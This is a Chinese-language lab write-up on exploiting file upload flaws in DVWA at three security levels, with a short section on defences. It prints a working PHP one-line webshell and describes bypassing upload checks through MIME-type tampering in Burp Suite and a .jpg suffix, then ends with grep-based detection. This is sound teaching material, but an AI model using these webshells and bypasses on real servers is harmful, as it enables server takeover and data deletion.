简介
文件上传中含有:文件文档,图片,视频等,然而,如果被允许上传了恶意文件如PHP,ASP等的绕过web应用并顺利执行,就相当与黑客拿到webshell,然后就可以拿到web数据进行删除,文件提权,进而整个服务器甚至是内网。
文件上传漏洞主要就是攻击web服务,而SQL注入主要是要拿到数据库,一旦两种渗透相结合,就可以达到对目标的深度控制。
Webshell的介绍
小马:一句话木马,整个shell代码只有一行,是系统执行的函数。
大马:代码量和功能比小马多,同时多了一层二次编码加密用于防止防火墙或入侵系统的检测。
通常来说就是调用一些函数,如:eval调用的是php函数,system调用的linux的命令。
实验
以下用到
火狐浏览器+xshell+VMware虚拟机+Owaspbwa靶机+AntSword中国蚁剑
Low级别的文件上传
首先我们在浏览器中通过靶机的IP地址打开靶机中的DVWA,其次,我们设置安全难度等级为low,然后,我们在upload漏洞中上传一份php的文件,然后显示上传成功,把php文件的地址复制到URL栏中的末尾,记得把#去掉
我的php文件是
然后,我们把URL栏中的所有复制下来在AntSword中添加数据打开
然后我们打开刚才的http,右键打开文件管理
打开后,显示如下页面,很显然,我们的php文件就在里面了
我们如果一直点“上层”的话,就可以看到这个靶机的所有数据文件了
在所选的文件右击就可以显示可以删除你想要删除的文件了。
如上,在low等级下的可以上传任意类型的文件,在DVWA的upload的页面veiw source下页面可以看出对文件上传没什么限制。
而我们也就可以通过中国蚁剑这样的软件把一段恶意的木马文件上传到网站中了。
Medium级别的上传漏洞
在这里,我们还用到了一个软件,Burpsuite
我们先通过xshell把之前dvwa中的php文件删除,操作如下:
cd /var/www/dvwa/hackable/uploads/ #从之前我们在中国蚁剑中的操作可以看出php上传的位置
ls #ls可以查看uploads中拥有的文件
rm -rf * #删除uploads中的文件,这是通过命令删除的,当然也可以通过蚁剑直接删除
ls #再ls 就可以看出uploads中没有东西了
然后我们就可以进行文件上传了,先上传一张照片,可以上传的,再上传刚才那个php文件,上传不了,显然medium级别的有了一定的限制。
这是数据文件Mime类型决定的(就是在响应头会有Content-type),而Burpsuite就可以对上传的文件进行拦截修改再上传。
我们打开Burpsuite进行文件上传的拦截,浏览器页面加载不出来,然而Burpsuite抓到了上传的数据包,如下图所示,如果和我的页面不一样,我们点击上面的drop丢弃之前的拦截数据包,就可以显示下一个数据包了
因为medium级别的有了一定的限制,所以我们得修改文件Mine类型再上传数据包
如图显示,上传成功
High级别的上传漏洞
还是和刚才一样,通过xshell把uploads上传的文件删除
我们可以通过view source查看源码来了解high级别下的限制
在这里改动Mime类型就不行了,或许可以尝试在文件后缀添加.jpg,上传或许能成功,但这个木马文件有图像的后缀就不一定能用了。
然后,显示上传成功
如何防御上传文件漏洞
总结一下:
- 对文件的后缀进行检测
- 在前端布置web防火墙,检测上传的是否有eval($_POST[])这样的标记
- 通过xshell来检测上传的是什么文件,然后cat文件内容
root@owaspbwa:~# cd /var/www/dvwa/hackable/uploads/
root@owaspbwa:/var/www/dvwa/hackable/uploads# ls
shell.php
root@owaspbwa:/var/www/dvwa/hackable/uploads# cat shell.php
<?php @eval($_POST['antsword']);?>root@owaspbwa:/var/www/dvwa/hackable/uploads#
- 或者我们再不知道密码的情况下egrep过滤带有关键字的
root@owaspbwa:/var/www/dvwa/hackable/uploads# fgrep -R '@eval($_POST[' /var/www/dvwa
/var/www/dvwa/hackable/uploads/shell.php:<?php @eval($_POST['antsword']);?>
#fgreg中的f是固定的意思,-R意思是递归,/var/www/dvwa是网站目录
#这样就可以知道shell文件目录地址和内容了